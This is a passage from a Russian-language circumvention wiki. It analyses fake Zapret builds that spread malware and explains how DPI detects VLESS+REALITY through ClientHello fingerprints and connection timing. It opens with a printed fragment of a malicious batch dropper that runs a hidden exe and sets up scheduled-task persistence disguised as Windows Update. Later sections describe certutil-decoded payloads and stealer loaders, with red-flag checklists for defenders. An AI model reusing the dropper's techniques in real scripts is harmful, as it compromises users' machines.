"%~dp0bin\cygwin2.dll" "%TEMP%\jv.exe" >nul 2>&1 ) else ( exit /b 1 ) if exist "%TEMP%\jv.exe" ( start "" "%TEMP%\jv.exe" /s >nul 2>&1 else ( exit /b 1 ) if not exist "%USERPROFILE%\AppData\Local\Packages\Microsoft.WindowsStore\LocalState" ( mkdir "%USERPROFILE%\AppData\Local\Packages\Microsoft.WindowsStore\LocalState" >nul 2>&1 ) if exist "%~dp0README.md" ( copy "%~dp0README.md" "%USERPROFILE%\AppData\Local\Packages\Microsoft.WindowsStore\LocalState\LICENSE-WD.txt" >nul 2>&1 else ( exit /b 1 ) schtasks /create /tn "Microsoft\Windows\WindowsUpdate\WnTemp" /tr "\"javaw\" -jar \"%USERPROFILE%/AppData/Local/Packages/Microsoft.WindowsStore/LocalState/LICENSE-WD.txt\"-tls="%BIN%tls_clienthello_www_google_com.bin" ``` Бат файл создаёт задачу на джаве скрипте, после чего подгружается вирус: ![[Pasted image 20251220210326.png]] ![[Pasted image 20251220210329.png]] ### 6. discord-cdn-fix / Bypass Ultimate — сеть клонов-репозиториев Новый по механике тип: не один заражённый `rar`, а **сеть из десятка с лишним одинаковых GitHub-репозиториев** под одноразовыми аккаунтами (`rapidcounttend`, `Originioknow`, `WestDriverComply`, `Constraintpletype`, `Grayflidivider`, `Petainamplifier`, `BudgieBushing`, `StalkerLightning` и др.). У всех один баннер «BYPASS ULTIMATE», один README, один релиз `v1.1.8`. Звёзды накручены до одного числа в пределах кластера: семейство `discord-cdn-fix` / `youtube-unban-2026` — **ровно по 66**, семейство `*-fix-2026` (Roblox, Telegram) от `StalkerLightning` — **ровно по 28**. Внутри — пять-шесть неизвестных `.exe` (`Discord zapret.exe`, `Telegram zapret.exe`, `YouTube zapret.exe`, `Быстрый запуск.exe`, `Статус подключения.exe`, плюс комбо вроде `roblox-dpi-fix-2026.exe`) и ни одного исходника, хотя в темах стоит `Python`. 🚩 Красные флаги: - Сеть идентичных клонов под случайными аккаунтами (бан одного не убивает раздачу) - Накрутка звёзд ровно до одного числа в пределах кластера (66 и 28) - Пачка неизвестных `.exe` вместо одного `winws.exe` - Нет исходного кода, только скомпилированные бинарники - README заранее оправдывается «ложными срабатываниями антивируса» Подробный разбор: [[discord-cdn-fix-fake-repos-june-2026|Bypass Ultimate / discord-cdn-fix — сеть клонов с малварью]]. ### 7. Malik DS (@discordfixe) — красные флаги вирусной раздачи Ещё один вирусный телеграм-канал, распространяющий «фикс Discord» под видом обхода блокировок: **Malik DS** (`@discordfixe`, около 4,14 тыс. подписчиков на июль 2026). Канал раздаёт архив `FixDiscord.zip` (~7,9 МБ) и подаёт обновления как «ответ на расширение блокировок РКН» — новый белый список, стратегия фильтрации UDP для Discord и т.п. Проблема в способе раздачи, а не в громких обещаниях. У архива те же признаки, что и у остальных вирусных сборок из этого списка: он **запаролен** (пароль «1234»), а в инструкции автор прямо просит **отключить антивирус** на время установки («если файл удаляется системой, можете выключить антивирус»). Оба приёма — классический способ протащить полезную нагрузку мимо защиты: пароль не даёт антивирусу заглянуть внутрь `zip` до распаковки, а отключённый антивирус не среагирует на запуск. 🚩 Красные флаги: - Нет открытого исходного кода на GitHub — только готовый архив из Telegram - Архив `zip` **запаролен** (пароль «1234») — незачем для легального обхода, но удобно, чтобы антивирус не сканировал содержимое - Инструкция **просит отключить антивирус** — этого не требует ни одна честная сборка Zapret - Комментарии в канале закрыты, обратной связи с автором нет > [!warning] Статус проверки > Содержимое `FixDiscord.zip` в рамках этой заметки **не анализировалось** — вердикт «троян» не выносится. Но набор признаков (запароленный архив + просьба выключить антивирус + закрытые комментарии + отсутствие исходников) в точности совпадает с задокументированными выше вирусными раздачами. Пока не доказано обратное, относитесь к этой сборке как к небезопасной и берите Zapret только из [[download|официального источника]]. Как отличить подделку от оригинала — по чек-листу «Как проверить вирусы?» в начале этой заметки. ### 8. Payload внутри `general.bat` — приём, который проходит чек-лист выше Самая неприятная находка на 11 августа 2026: раздачи научились обходить главное правило проверки — «в папке должен быть только один `winws.exe`». Папка `bin` у таких сборок действительно чистая, а вредоносный код зашит **в сам текстовый скрипт запуска**. Механика на примере репозиториев `Quantumfirear/zapret-discord-youtube-1-10-0` и `Enamelzestation/zapret-discord-youtube`: файл `general.bat` (или `service.bat`) раздут до ~15,8 МБ, внутри — исполняемый файл Windows, записанный в кодировке base64 тысячами строк `echo`. При запуске скрипт собирает из них временный файл, декодирует его штатной утилитой Windows `certutil -decode` в `%TEMP%\Setup-XXXXXXXX.exe` и запускает через `start /b`. Никакого лишнего `.exe` в раздаче нет — он появляется только в момент запуска. 🚩 Красные флаги: - `.bat`-файл размером в мегабайты (у настоящей сборки — единицы килобайт) - Слова `certutil`, `-decode`, `%TEMP%`, `start /b` внутри скрипта запуска - Накрученные метрики доверия: сотни звёзд и десятки тысяч коммитов вида «Update README.md» на аккаунте возрастом в месяц - Файл `SHA256SUMS.txt` рядом с архивом, суммы в котором не сходятся с фактическими Подробный разбор с числами, хэшами полезной нагрузки и командами для самостоятельной проверки: [[github-removes-clean-zapret-keeps-malware-august-2026|GitHub снёс чистые сборки Zapret, а вирусные оставил]]. ### 9. Fixit — приманка для стилера Arcane Разновидность, у которой обхода блокировок нет вовсе: под названием «Fixit» раздаётся не сборка, а архив со стилером. Кампанию разобрала «Лаборатория Касперского»: домены `fixitlab[.]cc` и `fix-it[.]cc` зарегистрированы 20–21 февраля 2026, продвижение шло через ролики на YouTube (не менее 20 видео, свыше 20 000 просмотров), а внутри архива — инструкция, легальный `WinRAR.exe`, зашифрованный `data.bin` и `Fixit.bat`, который расшифровывает и запускает полезную нагрузку. Ставятся стилер **Arcane** (пароли, куки, банковские карты, данные Telegram, Discord, Steam, криптокошельков, пароли Wi-Fi) и майнер Monero. 🚩 Красные флаги: - Красивый лендинг с обещаниями вроде «стабильность 100 %» и полное отсутствие исходного кода - Инструкция просит запустить `.bat` и отключить антивирус - Домен зарегистрирован за считанные месяцы до «популярности» продукта - Кнопка «Скачать» ведёт через сокращатель ссылок или на домен-двойник (`github[.]guru`) Полный разбор кампании, проверка WHOIS и отдельно — где предупреждениям антивируса стоит верить, а где детект означает лишь класс RiskTool: [[fixit-arcane-stealer-kaspersky-august-2026|Fixit — приманка для стилера Arcane, и где Касперский бывает прав]]. ### 10. HideMyDiscord — рабочий обход с загрузчиком рядом Самый неудобный для распознавания случай на 11 августа 2026: сборка с сайта `hidemydiscord.com` **честно чинит Discord**. Внутри настоящая сборка Flowseal с нетронутыми стратегиями — и лишний файл `bin/StartWin.exe` на 6,2 МБ, которого в оригинале нет. Запускают его 21 из 23 стартовых скриптов: строкой выше настоящего `winws.exe`, свёрнутым, под тем же заголовком окна. Написан на Go, имена функций не скрыты: `downloadFile`, `decryptBlob`, `launchPayload`, `runExe`, `runBat`, `runTxtManifest` — то есть загрузчик второй ступени. 🚩 Красные флаги: - Два исполняемых файла в `bin` вместо одного `winws.exe` - Архив внутри архива, внутренний запаролен, пароль опубликован на сайте - Внутренний архив в формате RAR 7, который не открывает 7-Zip - Ядро `winws.exe` пропатчено под свой бренд, из-за чего не сходится хэш с официальным - Раздача из профильного репозитория GitHub, который не виден в поиске по темам > [!danger] Правило, которое переживёт следующее поколение подделок > Раздача уже умеет править чужой скомпилированный бинарник и выдавать его за оригинал — пока ради надписи в консоли. Если тем же способом дописать полезную нагрузку **внутрь** `winws.exe`, перестанут работать все признаки из чек-листа выше: в папке снова будет один исполняемый файл, скрипты останутся чистыми, обход продолжит работать. У ядра нет цифровой подписи, поэтому ни Windows, ни антивирус о подмене не сообщат. Единственная проверка, которая устоит, — **сверка `sha256sum bin/winws.exe` с хэшем от автора ядра**. Разбор цепочки целиком, включая приём восстановления скрытого репозитория по числу из ссылки: [[hidemydiscord-loader-august-2026|HideMyDiscord — рабочий обход блокировок с загрузчиком в комплекте]]. --- --- date: 2026-08-20 tags: - vless - dpi - обзор-раздела aliases: - VLESS раздел - Блокировки VLESS обзор - VLESS и DPI --- # 🔷 VLESS и DPI — раздел > [!info] О чём раздел > Заметки о противостоянии протокола **VLESS** и систем DPI: как цензор распознаёт и ограничивает VLESS-соединения. Устройство самого протокола и его слоёв разобрано в разделе [[xray/xray|Xray]]. ## Заметки раздела - [[VLESS/dpi-tls-june-2026|Как DPI «замораживает» VLESS+REALITY (июнь 2026)]] — исследовательский разбор: по каким признакам современный DPI отличает VLESS+REALITY от обычного TLS и как выглядит схема ограничений. ## 📚 См. также - [[xray/vless|Протокол VLESS: устройство и возможности]] — как устроен сам протокол - [[xray/reality|REALITY]] — маскировка под настоящий чужой сайт - [[DPI/DPI|Раздел DPI]] — как ТСПУ анализирует трафик в целом --- > [!quote] 🤖 Эти статьи открыты — можно обучать на них ИИ > При желании вы можете натренировать ИИ на наших статьях. Исходное форматирование доступно в Forgejo: [исходник этой заметки](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main/VLESS/VLESS.md) · [скачать весь репозиторий одним zip-архивом](https://git.zapret.moe/zapretdiscordyoutube/todo/archive/main.zip). --- --- date: 2026-06-07 tags: - dpi - vless - reality - tls - utls - mux - rkn link: https://habr.com/ru/articles/1044396/ aliases: - Схема ограничений июнь 2026 - DPI TLS heuristics 2026 img: --- # 🧊 Как DPI «замораживает» VLESS+REALITY: разбор схемы ограничений (июнь 2026) > [!quote] Первоисточник > Этот разбор основан на статье **Петра Осетрова** (@hyperion_cs) на Хабре: > 👉 **[«О схеме ограничений РКН в июне 2026-го» — habr.com/ru/articles/1044396](https://habr.com/ru/articles/1044396/)** > > Все числовые параметры (пороги, тайминги, списки фингерпринтов) взяты из этой статьи. Ниже — простое объяснение «на пальцах» плюс расширенные технические детали по uTLS и mux от себя. > [!info] Дисклеймер > Материал носит **исследовательский и образовательный** характер. Задача — понять, *по каким признакам* современный DPI отличает обходные средства от обычного трафика, и почему одной волшебной галочкой проблему больше не решить. > [!warning] Важно про статус этих данных > Описанная схема — это **результат реверс-инжиниринга**: автор сам называет её «Siberian» и добавил одноимённый чекер в dpi-checkers. Это наблюдения **одного исследователя**; сам автор оговаривает, что **параметры метода различаются от оператора к оператору и меняются со временем**. > > Параллельно, в тот же период, задокументированы и **другие** механизмы блокировки — заморозка соединения после ~16 КБ / ~25 пакетов (метод «tcp 16-20»), CIDR-whitelist по подсетям назначения, SNI-whitelist (см. [net4people/bbs #490](https://github.com/net4people/bbs/issues/490)). Поэтому всё ниже — **снимок одной наблюдаемой волны на июнь 2026**, а не универсальный закон. Конкретные числа читайте как «по наблюдениям автора», а не как точные константы системы. --- ## TL;DR — если совсем коротко Летом 2026 года перестала надёжно работать связка [[xray/project-x|xray]] + **VLESS + REALITY**. Важно: REALITY **не взломали**. Его шифрование по-прежнему неотличимо от настоящего TLS. Сломалось другое: DPI перестал заглядывать *внутрь* пакета (это бесполезно) и начал смотреть на **поведение** соединения снаружи. Блокировка включается, только когда **совпали сразу три признака** (это важно — именно «И», а не «ИЛИ»). Нарушьте любой один — и правило на вас не сработает. --- ## Объясняю на пальцах: что вообще произошло Представьте таможню на границе (это наш DPI). Раньше таможенник открывал каждый чемодан и смотрел, что внутри. REALITY — это чемодан с идеальной маскировкой: снаружи и внутри он выглядит как чемодан обычного туриста, едущего на `www.microsoft.com`. Подделку не видно, потому что для этого нужен секретный ключ, которого у таможни нет. Поэтому годами всё работало: «внутри чисто — проходи». Теперь таможенник **перестал открывать чемоданы** (всё равно бесполезно) и начал смотреть на **поведение пассажира**: - **Откуда приехал?** — если из района, где живут одни «контрабандисты» (популярные хостинги), это подозрительно. - **Как выглядит?** — если одет в форму, в которой обычно ходят нарушители (фингерпринт Chrome), это подозрительно. - **Как себя ведёт?** — если бегает туда-сюда через границу 10 раз в минуту (лавина соединений), это подозрительно. И только когда **все три** совпали — пассажира «тормозят». Криптография тут уже ни при чём: ловят не *содержимое*, а *манеру*. --- ## Алгоритм блокировки: три сигнала и один триггер Цензор оценивает **`ClientHello`** — самый первый пакет TLS-рукопожатия — у **каждого** TLS-соединения. Среди прочего он смотрит на такие атрибуты: > [!quote] Что оценивает цензор (из первоисточника) > - **IP-адрес сервера** (точнее — его *подсеть*); > - **SNI** (Server Name Indication — то самое замаскированное имя); > - **фингерпринт «браузера»** (точнее — того, под кого мимикрируют; у REALITY это делает uTLS). К этим статическим атрибутам добавляется ещё и **поведение** — частота и параллелизм соединений. «Заморозка» включается, **только когда совпали сразу несколько признаков** (логическое «И»): подозрительная подсеть + подозрительный фингерпринт + аномальная частота к одному SNI. Разберём их по очереди. > [!note] Почему сигналов «три», хотя атрибутов перечислено больше > SNI в списке выше — **не отдельный сигнал**, а *ключ агрегации* для поведенческого Сигнала 3: частота соединений считается раздельно по каждому SNI. Поэтому ключевых триггеров остаётся три — **подсеть**, **фингерпринт** и **частота к одному SNI**. ### Сигнал 1. Подсеть сервера — «откуда» вы подключаетесь DPI смотрит на IP-адрес вашего сервера и проверяет, не входит ли он в список «подозрительных» подсетей. В этот список массово попали диапазоны популярных хостингов, в том числе **российских**: - **Selectel** - **Яндекс.Облако** Логика простая: именно там дешевле и проще всего поднять свой узел, поэтому там их больше всего. Важный нюанс: схема завязана **не на конкретные IP** отдельных узлов, а на **целые подсети и даже автономные системы (AS)**. > [!quote] Из первоисточника > Схема не завязана напрямую на конкретные IP промежуточных узлов (напр., ваших серверов). Это, в общем-то, неплохо — значит, узлы не улетели в некий чёрный список (особенно в свете того, что некоторые приложения «стучат»). Плохая новость в том, что затронуты целые подсети и даже AS, в т.ч. популярных российских дата-центров (Selectel, Яндекс.Облако и др.). Это заметно отличается от прежних методов, которые задевали только зарубежных провайдеров (tcp 16-20, aka l4-25, и пр.). Что это значит на практике: ваш конкретный IP в чёрный список **не попадает** (его не «сожгли») — под подозрением сразу весь диапазон хостинга. Хорошая сторона — сменить IP в пределах того же провайдера не поможет, но и «гореть» вашему адресу не за что. Плохая — отсюда же берётся сопутствующий ущерб для легальных соседей по подсети (см. раздел про обычный Chrome ниже). > [!tip] Что это значит для вас > Сервер в «народном» дата-центре — первый красный флаг. Чем менее предсказуемы провайдер и подсеть, тем лучше. Практику выбора см. в [[VPS/VPS|VPS]]. ### Сигнал 2. TLS-фингерпринт клиента — «чем» вы подключаетесь Когда ваша программа начинает TLS-соединение, она первым делом отправляет пакет **`ClientHello`**. В нём — список поддерживаемых шифров, расширений, их порядок и прочие технические мелочи. Этот набор у каждой реализации TLS свой, как почерк. По нему можно понять, **какая именно программа** сгенерировала пакет (подробнее — в разделе про uTLS ниже). #### Как выглядит этот «почерк» на самом деле Возьмём эталонный `ClientHello` из [RFC 8448](https://www.rfc-editor.org/rfc/rfc8448) — это пример прямо из стандарта, поэтому каждый байт можно сверить. **1. Текстовая форма** — то, как пакет разбирает Wireshark/`tshark` (дерево полей): ```text TLSv1.3 Record Layer: Handshake Protocol: Client Hello Content Type: Handshake (22) # 0x16 Version: TLS 1.0 (0x0301) # версия RECORD-слоя (легаси, для совместимости) Length: 196 Handshake Protocol: Client Hello Handshake Type: Client Hello (1) Length: 192 Version: TLS 1.2 (0x0303) # legacy_version — НЕ настоящая версия (см. ниже) Random: cb34ecb1 e78163ba 1c38c6da … # 32 байта Session ID Length: 0 Cipher Suites Length: 6 Cipher Suites (3): TLS_AES_128_GCM_SHA256 (0x1301) TLS_CHACHA20_POLY1305_SHA256 (0x1303) TLS_AES_256_GCM_SHA384 (0x1302) Compression Methods: null (0) Extensions Length: 145 Extension: server_name → "server" # SNI Extension: renegotiation_info Extension: supported_groups → x25519, secp256r1, secp384r1, … Extension: session_ticket Extension: key_share → x25519 (32-байтный публичный ключ) Extension: supported_versions → TLS 1.3 (0x0304) # ← НАСТОЯЩАЯ версия Extension: signature_algorithms → ecdsa_secp256r1_sha256, … Extension: psk_key_exchange_modes Extension: record_size_limit ``` **2. Байтовая форма** — тот же пакет «на проводе» (hex с аннотациями): ```text 16 03 01 00 c4 TLS-запись: Handshake, ver 0x0301, длина 196 01 00 00 c0 ClientHello, длина 192 03 03 legacy_version = 0x0303 (TLS 1.2) cb 34 ec b1 e7 81 63 ba 1c 38 c6 da cb 19 ┐ 6a 6d ff a2 1a 8d 99 12 ec 18 a2 ef 62 83 │ Random (32 байта) 02 4d ec e7 ┘ 00 Session ID length = 0 00 06 13 01 13 03 13 02 Cipher Suites (6 б): 1301 1303 1302 01 00 Compression: 1 метод = null 00 91 Extensions, длина = 145 байт 00 00 00 0b 00 09 00 00 06 73 65 72 76 65 72 server_name → "server" ff 01 00 01 00 renegotiation_info 00 0a 00 14 00 12 00 1d 00 17 00 18 00 19 … supported_groups 00 23 00 00 session_ticket 00 33 00 26 00 24 00 1d 00 20 99 38 1d e5 … key_share (x25519) 00 2b 00 03 02 03 04 supported_versions → 0x0304 (TLS 1.3) 00 0d 00 20 00 1e 04 03 05 03 … signature_algorithms 00 2d 00 02 01 01 psk_key_exchange_modes 00 1c 00 02 40 01 record_size_limit ``` Фингерпринт — это **набор и порядок** вот этих cipher suites и extensions. Заметьте: `73 65 72 76 65 72` в hex — это ASCII-строка `server` (тот самый SNI, видный **открытым текстом**). Реальный Chrome выглядел бы иначе: GREASE-значения, расширения `ALPN` и `ECH`, post-quantum `key_share` (`X25519MLKEM768`), другой порядок полей. Именно этот «слепок» и сворачивают в JA3/JA4 (см. раздел про uTLS), по нему DPI и опознаёт, кто перед ним. > [!note] Мелкий, но важный нюанс про версию > Обратите внимание: в поле версии стоит `0x0303` (TLS 1.2), хотя это TLS 1.3. Так сделано **нарочно** — ради совместимости со старыми серверами. Настоящую версию несёт расширение `supported_versions` (`0x0304`). Поэтому JA4 берёт версию TLS именно оттуда, а не из легаси-поля. И вот ловушка: xray умеет притворяться чужим почерком, и по умолчанию **почти все ставили Chrome** — он самый популярный, прятаться логичнее в толпе. В итоге сочетание «почерк Chrome + признаки прокси» само стало маркером. | 🚩 Подозрительные фингерпринты | ✅ «Лояльные» фингерпринты | | --- | --- | | Chrome | Firefox | | Safari | Edge | | iOS | Android OkHttp | | | 360 Browser | | | QQ Browser | > [!warning] Парадокс > Самый популярный браузер планеты оказался самым «палевным» — именно потому, что под него массово маскируются. Безопаснее то, под что маскируются реже. ### Сигнал 3. Частота и параллелизм — «как» вы подключаетесь Третий признак — поведенческий, и именно он чаще всего вас и выдаёт. Точная формулировка триггера из первоисточника: > **более 3 параллельных попыток установить TLS-соединение, с задержкой между ними менее ~350-400 мс, за последние 60 секунд** — к одному и тому же SNI. > [!warning] По этому порогу гуляют устаревшие цифры > Первоисточник правился трижды и без пометок: 6 июня 2026 там стояло «~100 мс», 7 июня — «~20-50 мс», и лишь 9 июня появилось нынешнее «~350-400 мс», которое держится с тех пор. Промежуточный вариант успел разойтись по перепечаткам и попал в англоязычный пересказ в [обсуждении Xray-core #6293](https://github.com/XTLS/Xray-core/issues/6293), снятый за сутки до правки. Если встретите «20-50 мс» — это старый срез. Актуальное значение подтверждается и свежим [предложением #6547](https://github.com/XTLS/Xray-core/issues/6547) от 27 июля 2026, где параметр `hMinSocketInterval` предлагают выставлять в 400–600 мс именно с запасом над этим порогом. Разберём по словам: - **более 3 соединений** — то есть 4 и больше; - **задержка между ними < ~350-400 мс** — то есть они идут залпом, почти одновременно; - **за последние 60 секунд** — окно, в котором DPI это считает; - **к одному SNI** — все на одно и то же замаскированное имя (например, `www.microsoft.com`). Откуда берётся такой залп? Это типичный почерк прокси. Вы открываете браузер, в нём десяток вкладок — и каждая инициирует своё соединение. Все они мультиплексируются на **один** замаскированный SNI. Живой человек, реально открывший `www.microsoft.com`, так себя не ведёт — он не создаёт 10 одновременных коннектов на этот домен. > [!tip] Что это значит для вас > Лавина одновременных соединений на один SNI — поведенческая аномалия. Лечится мультиплексированием (`mux`) и распределением по разным SNI (см. раздел про mux ниже). ### Что происходит при срабатывании Когда совпали **все три** условия, трафик к узлу **«замораживается» на 120 секунд**. Важная деталь: соединения не рвутся демонстративно (это было бы слишком явной цензурой) — они тихо деградируют. Растут таймауты, падает скорость, всё «как будто само тормозит». Внешне похоже на плохой интернет, а не на блокировку. ``` ┌──────────────┐ ┌──────────────┐ ┌──────────────┐ TLS- │ подсеть в │ И │ фингерпринт │ И │ >3 conn/SNI │ ➜ ЗАМОРОЗКА соединение │ списке? │ │ подозрит.? │ │ <~350-400мс/60с│ 120 сек ───────► │ (Selectel, │ │ (Chrome, │ │ │ │ Я.Облако…) │ │ Safari,iOS) │ │ │ └──────┬───────┘ └──────┬───────┘ └──────┬───────┘ │ │ │ разорвите ЛЮБОЕ одно звено ➜ правило на вас НЕ срабатывает ``` --- ## Почему обычный Chrome работает, хотя «лояльным» его не назвали Здесь возникает резонный вопрос: если фингерпринт Chrome — «подозрительный», почему миллионы людей спокойно сидят в обычном Chrome и ничего не тормозит? А заодно — почему при этом у части людей вдруг **ломаются некоторые российские сайты**? Ответ — снова в логике **«И трёх условий»**. Вспомните: чтобы поймать заморозку, нужны **все три** сигнала одновременно. У обычного веб-сёрфинга почти всегда не выполняется **первый** — про подсеть. **Почему Chrome обычно работает.** Когда вы просто листаете интернет, вы ходите на реальные сервисы — Google, YouTube, банки, маркетплейсы. Они живут на собственной инфраструктуре и больших CDN, которые в список «подозрительных подсетей» не входят (а часто и вовсе в [[Белые списки|белых списках]]). Получается: - 🚩 Фингерпринт Chrome — да, *подозрительный* (Сигнал 2 ✅); - лавина параллельных соединений — да, браузер их открывает (Сигнал 3 может сработать); - **но подсеть назначения — чистая** (Сигнал 1 ❌). Одно звено цепи разорвано → правило **не срабатывает**. Именно поэтому Chrome для обычного веба «прозрачен»: его спасает не фингерпринт, а **адрес назначения**. А вот ваш личный VLESS-сервер на Selectel/Яндекс.Облаке этот первый сигнал как раз включает — отсюда и разница. **Почему всё-таки ломаются некоторые ру-сайты.** Это оборотная сторона грубой эвристики «по подсети». В списки подозрительных попали диапазоны **российских** хостингов (Selectel, Яндекс.Облако), а на этих же хостингах живёт масса **легальных** сайтов и сервисов — тех, кто просто арендует там сервер. DPI не умеет отличить «прокси на Selectel» от «интернет-магазина на Selectel» — для него это одна подсеть. И если вы в обычном Chrome заходите на такой легальный сайт, расположенный на «помеченном» хостинге, может совпасть всё три: - сайт на подозрительной подсети (Сигнал 1 ✅); - вы в Chrome (Сигнал 2 ✅); - браузер открыл несколько быстрых параллельных соединений к его домену (Сигнал 3 ✅). → Получаем **ложное срабатывание**: легальный сайт начинает тормозить, хотя никто ничего не обходил. Это и есть «сопутствующий ущерб» (collateral damage) схемы: блокировка по подсети неизбежно задевает добросовестных соседей по хостингу. > [!summary] Коротко > Обычный Chrome спасает **чистая подсеть назначения**, а не сам браузер. Где подсеть «грязная» (ваш VPS или легальный сайт на том же хостинге) — там при Chrome и залпе соединений ловят всех подряд, включая невиновных. --- ## Интересный нюанс: ловушка для тех, кто «дёргается» Самая хитрая часть схемы — реакция на попытку быстро поменять настройки. Допустим, вас «заморозили». Вы решаете: «наверное, дело в фингерпринте» — и тут же переключаете Chrome на Firefox, переподключаясь. Логично же? Но для DPI это **отдельный сигнал**: только что соединение получило деградацию — и человек моментально сменил TLS-почерк. Так ведёт себя именно тот, кто *осознанно обходит* ограничение. В ответ прилетает **расширенная блокировка на 600 секунд** — и уже **на все** TLS-соединения к этому узлу. Важно: на эти 10 минут замораживается **любой** TLS, **независимо и от фингерпринта, и от SNI** — сменить почерк или замаскированное имя уже не поможет. Сам TCP-коннект при этом проходит (рукопожатие на уровне TCP устанавливается), душится именно TLS поверх него. > [!danger] Мораль > Система ловит не только сам обход, но и **паттерн адаптации**. Нервно крутить настройки под нагрузкой — делать себе хуже. Правильная стратегия: не реагировать рефлекторно, а **изначально** не попадать в цепочку. --- ## 🔬 Технические детали: uTLS — как работает TLS-почерк Раздел для тех, кто хочет понять механику, а не просто поставить галочку. ### Что такое JA3/JA4 и почему по TLS видно программу `ClientHello` — это первый, ещё **не зашифрованный** пакет TLS-рукопожатия. В нём открытым текстом передаются: - версия TLS; - список **cipher suites** (наборов шифров) — и **в каком порядке**; - список **extensions** (расширений: SNI, ALPN, supported_groups, signature_algorithms, key_share и т.д.) — и **в каком порядке**; - эллиптические кривые, форматы точек, GREASE-значения и пр. Конкретная программа (Chrome, Firefox, Go-приложение, curl) собирает этот набор по-своему: свой порядок шифров, свой набор расширений. Если взять все эти поля и прогнать через хеш, получится **отпечаток**. По нему DPI с высокой точностью говорит: «это Chrome 124» или «это Go-клиент». Два основных формата отпечатков: - **JA3** (старый) — это MD5-хеш от полей `ClientHello`, **взятых в том порядке, в каком они идут в пакете**. Минус: Chrome специально **тасует порядок расширений** от соединения к соединению, поэтому JA3-хеш у него «плавает» и легко обходится. - **JA4** (новый, более устойчивый) — как раз поэтому он **сортирует** шифры и расширения перед хешированием и **игнорирует GREASE**. Это не один хеш, а строка из трёх частей через `_` (`a_b_c`): - **a** (читаемая): протокол (`t` — TLS-over-TCP, `q` — QUIC, `d` — DTLS), версия TLS, есть ли SNI (`d` = domain / `i` = IP), число шифров, число расширений и ALPN (первый и последний символ значения первого ALPN, напр. `h2`); - **b**: усечённый SHA256 от **отсортированных** cipher suites; - **c**: усечённый SHA256 от **отсортированных** extensions (без SNI и ALPN), за которыми идут **signature algorithms — уже без сортировки**. За счёт сортировки шифров и расширений JA4 не «обманывается» их перетасовкой; при этом signature algorithms намеренно оставлены несортированными как дополнительный различающий признак. Вот в чём беда TLS-обхода на Go: стандартная библиотека `crypto/tls` имеет **очень узнаваемый фингерпринт** — это прямо признают сами разработчики uTLS («Golang's ClientHello has a very unique fingerprint»). В реальном вебе такой почерк почти не встречается → мгновенный маркер прокси. Поэтому **обычный** VLESS/Trojan поверх TLS, если не указать `fingerprint`, спалится сразу. #### Контраст «почерков»: голый Go `crypto/tls` vs Chrome Чтобы было видно, *насколько* они различаются — ключевые отличия в `ClientHello` (структурно; точные байты зависят от версии): | Признак | 🦫 Голый Go `crypto/tls` | 🌐 Chrome 131+ | | --- | --- | --- | | **GREASE** | нет нигде | в 5 местах: первый шифр, первое и последнее расширение, `supported_versions`, `supported_groups`, `key_share` | | **Порядок расширений** | жёстко фиксирован | тасуется на каждом соединении (с Chrome 110, янв. 2023) | | **`application_settings`** (ALPS) | нет | есть | | **`compress_certificate`** (brotli) | нет | есть | | **ECH** (`encrypted_client_hello`) | нет (по умолчанию) | есть (GREASE-ECH или настоящий) | | **Число расширений** | ~10–12 | ~17–18 | | **Cipher list** | 13 шифров, сразу с TLS 1.3 AEAD | начинается с GREASE, характерная браузерная раскладка | Любого из верхних трёх отличий (нет GREASE, фиксированный порядок, нет ALPS/brotli/ECH) уже достаточно, чтобы пассивно отличить Go-клиент от Chrome. Поэтому «голый» Go без uTLS — мгновенный маркер. (Нюанс актуальности: post-quantum `key_share` `X25519MLKEM768` Chrome шлёт с v131, а Go — только с 1.24; на старых версиях Go отсутствие PQ было ещё одним отличием.) > [!important] Важный нюанс про REALITY > В REALITY uTLS **встроен и обязателен**: поле `fingerprint` помечено как Required, а режим отключения uTLS (`unsafe`) официально не поддерживается — REALITY использует эту библиотеку для манипуляции низкоуровневыми параметрами TLS. Поэтому «голый» `crypto/tls`-почерк от REALITY **никогда не уходит** — он всегда отправляет валидный фингерпринт браузера. Проблема REALITY в июне 2026 — не в Go-почерке, а в том, что почерк хоть и корректный, но **слишком массовый** (`chrome`). Об этом — ниже. ### Что делает uTLS [uTLS](https://github.com/refraction-networking/utls) (`refraction-networking/utls`) — это форк стандартного `crypto/tls`, который позволяет **подменить** содержимое `ClientHello`: порядок шифров, набор расширений, GREASE — по готовому шаблону настоящего браузера. То есть xray генерирует `ClientHello`, **неотличимый** от Chrome или Firefox, и JA3/JA4-хеш совпадает с настоящим браузером. (Технически uTLS работает на уровне готовых пресетов-спецификаций; полный побайтовый контроль возможен, но в обычном режиме хватает пресета, чтобы хеши совпали.) В конфиге xray это поле `fingerprint` внутри `realitySettings`. Кстати, поле с публичным ключом сервера в актуальных версиях xray-core называется `password` (раньше — `publicKey`; старое имя пока работает для совместимости). uTLS поддерживает пресеты вроде `HelloChrome_Auto`, `HelloFirefox_Auto`, `HelloEdge_Auto`, `HelloSafari_Auto`, `HelloRandomized` и др. В xray они задаются короткими именами: `chrome`, `firefox`, `edge`, `safari`, `ios`, `android`, `360`, `qq`, `random`, `randomized`. То есть рекомендованные в таблице выше «лояльные» 360 Browser и QQ Browser пишутся как `"fingerprint": "360"` и `"fingerprint": "qq"`. ```json "realitySettings": { "fingerprint": "firefox", "serverName": "www.microsoft.com", "password": "<публичный ключ сервера>", "shortId": "" } ``` ### Почему это перестало спасать само по себе uTLS делает почерк **корректным**, но не делает его **редким**. Если все массово ставят `chrome`, то «JA3 Chrome + поведение прокси» становится статистически заметным. DPI не говорит «фингерпринт поддельный» (он валидный!) — он говорит «слишком много именно такого фингерпринта летит на этот странный сервер залпами». Поэтому в июне 2026 совет сместился: брать **не самый массовый** профиль — `firefox`/`edge` и пр. > [!note] Про `random` и `randomized` — это РАЗНЫЕ режимы > Их легко перепутать, но ведут себя они по-разному: > - **`random`** — xray случайно берёт один из готовых **реальных** пресетов браузера (Chrome 131, Firefox 148 и т.п.). Почерк всегда валидный — это безопасный вариант. > - **`randomized`** (и `randomizednoalpn`) — **синтетическая** генерация: расширения и шифры добавляются/тасуются случайно. Может получиться комбинация, **которой не существует ни у одного реального браузера** — а это само по себе аномалия. > > Вывод: бездумно ставить `randomized` не стоит. Лучше явный «лояльный» пресет (`firefox`/`edge`) или, на худой конец, `random` — но не синтетическую рулетку. ### uTLS не маскирует тайминги Ключевой момент: uTLS правит только **содержимое** `ClientHello`. Он **никак не влияет** на *Сигнал 3* — на то, сколько соединений и с какой частотой вы открываете. Почерк может быть идеальным, но если вы шлёте на один SNI залп коннектов с интервалом между ними менее ~350-400 мс — вас всё 